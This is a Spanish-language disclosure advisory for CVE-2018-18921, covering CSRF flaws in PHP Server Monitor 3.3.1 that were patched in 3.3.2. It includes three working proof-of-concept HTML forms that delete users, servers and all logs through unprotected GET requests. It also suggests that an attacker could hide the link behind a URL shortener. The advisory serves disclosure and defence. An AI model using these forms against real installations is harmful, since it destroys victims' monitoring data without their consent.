Las vulnerabilidades Cross-Site Request Forgery (CSRF) encontradas en el software PHP Server Monitor 3.3.1 han quedado solucionadas. Estas, permitían a un usuario malintencionado borrar servidores, logs y usuarios de la aplicación a través de este ataque. La vulnerabilidad, ha sido asociada al CVE-2018-18921.
CVE-2018-18921
PHP Server Monitor 3.3.1- Cross-Site Request Forgery (CSRF)
PHP Server Monitor es una aplicación web orientada a monitorizar la disponibilidad de servidores PHP, comprueba si están correctamente funcionando, monitoriza los servicios, genera gráficos e historial de actividad además de almacenar logs de errores y permitir notificaciones a través de email y Telegram, está desarrollada en PHP y MySQL.
📅 Vulnerabilidad descubierta por Javier Olmedo el 30/10/2018
💣 Publicada el 23/11/2018
🔗 Link del software PHP Server Monitor 3.3.1
🐞 Versión vulnerable = 3.3.1 y posiblemente anteriores
✔️ Actualiza a la versión 3.3.2 para parchear
Vector de ataque / Criticidad de la explotación
CRITICIDAD – ALTA
A través de las vulnerabilidades Cross-Site Request Forgery (CSRF), un atacante podría aprovecharse de la confianza que tiene la aplicación sobre los usuarios legítimos para crear un enlace o formulario malicioso que será ejecutado a través de estos.
Parámetros / Recursos vulnerables
Durante la auditoria, se observó que el botón encargado de borrar los usuarios, servidores y logs, se realizaba por petición GET y carecía de token anti-csrf.
Esto, permitiría a un atacante crear un enlace malicioso modificando los valores de los parámetros mod, action e id para realizar acciones de eliminación de objetos sobre la aplicación.
Prueba de concepto (PoC)
En las siguientes pruebas de concepto, se ha dividido la pantalla en dos partes, en la parte izquierda se encontraría un usuario en el panel de administración mientras que en la parte derecha, un atacante genera un botón malicioso previamente configurado para realizar las acciones.
NOTA
Se han utilizado formularios para la explotación de la vulnerabilidad, pero en un escenario real, a un atacante le bastaría con generar el enlace y acortar la URL (Google URL Shortener) para ofuscar la acción e intentar explotar la vulnerabilidad con éxito, ya que las peticiones se realizan por GET.
Eliminación de usuarios
URL: http://localhost/?&mod=user&action=delete&id=[ID]
<html> <body> <script>history.pushState('', '', '/')</script> <form action="http://localhost/"> <input type="hidden" name="mod" value="user" /> <input type="hidden" name="action" value="delete" /> <input type="hidden" name="id" value="[ID]" /> <input type="submit" value="Delete User" /> </form> </body> </html>
Eliminación de servidores
URL: http://localhost/?&mod=server&action=delete&id=[ID]
<html> <body> <script>history.pushState('', '', '/')</script> <form action="http://localhost/"> <input type="hidden" name="mod" value="server" /> <input type="hidden" name="action" value="delete" /> <input type="hidden" name="id" value="[ID]" /> <input type="submit" value="Delete Server" /> </form> </body> </html>
Eliminación de todos los logs
URL: http://localhost/?&mod=&action=delete
<html> <body> <script>history.pushState('', '', '/')</script> <form action="http://localhost/"> <input type="hidden" name="mod" value="server_log" /> <input type="hidden" name="action" value="delete" /> <input type="submit" value="Delete All Logs" /> </form> </body> </html>
Timeline
30/10/2018 Descubrimiento de la vulnerabilidad
30/10/2018 Creo issue en GitHub
30/10/2018 El desarrollador marca la vulnerabiliad como pendiente de parcheo
01/11/2018 Solicito CVE
03/11/2018 Asignación de CVE-2018-18921 por MITRE
22/11/2018 Vulnerabilidad parcheada
28/11/2018 Publicación de la vulnerabilidad
Referencias
CVE-MITRE – https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-18921
EXPLOIT-DB – https://www.exploit-db.com/exploits/45932
Un saludo a todos!! 👋